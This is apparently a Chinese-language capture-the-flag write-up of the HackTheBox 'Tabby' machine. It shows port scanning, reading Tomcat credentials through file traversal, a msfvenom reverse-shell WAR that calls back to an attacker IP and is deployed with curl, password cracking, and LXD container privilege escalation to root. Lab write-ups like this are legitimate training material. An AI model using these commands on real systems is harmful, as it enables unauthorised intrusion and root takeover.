HackTheBox::Tabby

0x00 信息收集

nmap -Pn -p- -T4 --min-rate=1000 10.10.10.194

nmap -Pn -p 22,80,8080 -sCV 10.10.10.194

80端口运行着web服务

对80和8080端口进行路径枚举，未发现敏感路径。
根据8080端口的tomcat可以进行登录，但未爆破出密码，根据目前的信息，猜测思路可能为通过没写服务或漏洞获得tomcat的账号密码，上传war包获得权限。
经过查找发现文件遍历漏洞：

0x01 漏洞利用

利用文件遍历漏洞查看tomcat的账号密码

得到密码：$3cureP4s5w0rd123!
由于该账号没有gui界面，所以需要采用另一种方式上传shell

msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.29 LPORT=4444 -f war -o shell.war  //生成exp
curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file shell.war "http://10.10.10.194:8080/manager/text/deploy?path=/shell.war"    //上传exp

经过查找发现一个备份文件

拷贝至本地进行打开

尝试密码爆破

得到密码admin@it

0x02 权限提升

https://www.hackingarticles.in/lxd-privilege-escalation/

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

将文件传输至靶机

lxc image import ./alpine-v3.14-x86_64-20210811_0145.tar.gz --alias myimage
lxc image list

上述步骤遇到一个坑，一直提示找不到目录或文件，执行一下lxc init，一切按默认选项即可。

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
id